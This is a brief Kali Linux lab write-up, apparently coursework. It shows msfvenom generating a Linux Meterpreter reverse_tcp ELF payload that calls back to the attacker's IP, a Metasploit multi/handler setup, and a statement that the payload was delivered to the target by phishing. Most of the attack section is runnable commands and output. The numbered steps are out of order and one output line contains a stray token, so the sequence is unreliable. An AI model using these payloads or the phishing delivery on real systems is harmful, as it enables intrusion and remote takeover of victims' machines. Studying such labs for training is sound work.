

SYSTEM HACKING PERFORMANCE

1. First, I checked the internet connection and IP settings to see if it was in bridge mode or network mode.

For that, I used the command shown in the photo.

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.134.26.115 netmask 255.255.255.0 broadcast 10.134.26.255
    inet6 2409:40c1:2020:f004:a00:27ff:fe43:946d prefixlen 64 scopeid 0<global>::asplait
    inet6 fe80::a00:27ff:fe43:946d prefixlen 64 scopeid 0<link>
    inet6 2409:40c1:2020:f004:cc8d:a880:48b9:5389 prefixlen 64 scopeid 0<global>
    ether 08:00:27:43:94:6d txqueuelen 1000 (Ethernet)
    RX packets 35562 bytes 38568976 (36.7 MiB)
    RX errors 6326 dropped 0 overruns 0 frame 6326
    TX packets 31384 bytes 8240974 (7.8 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 10 bytes 580 (580.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 10 bytes 580 (580.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

4. Set up the handler:

```
>>>use exploit/multi/handler
>>>set payload linux/x86/meterpreter/reverse_tcp
>>>set LHOST your_ip
>>>set LPORT your_port
>>>exploit
```

2. Then, I went into the folder named 'Desktop' and installed a piece of malware named 'shell' there. I provided the reverse_tcp details and everything else.

```
(kali@kali)-[~]
$ cd Desktop

(kali@kali)-[~/Desktop]
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.134.26.115 LPORT=8888 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
```

3. Then I checked whether it had worked or not, and subsequently installed that virus on the target machine using a phishing technique. After that, I opened msfconsole.
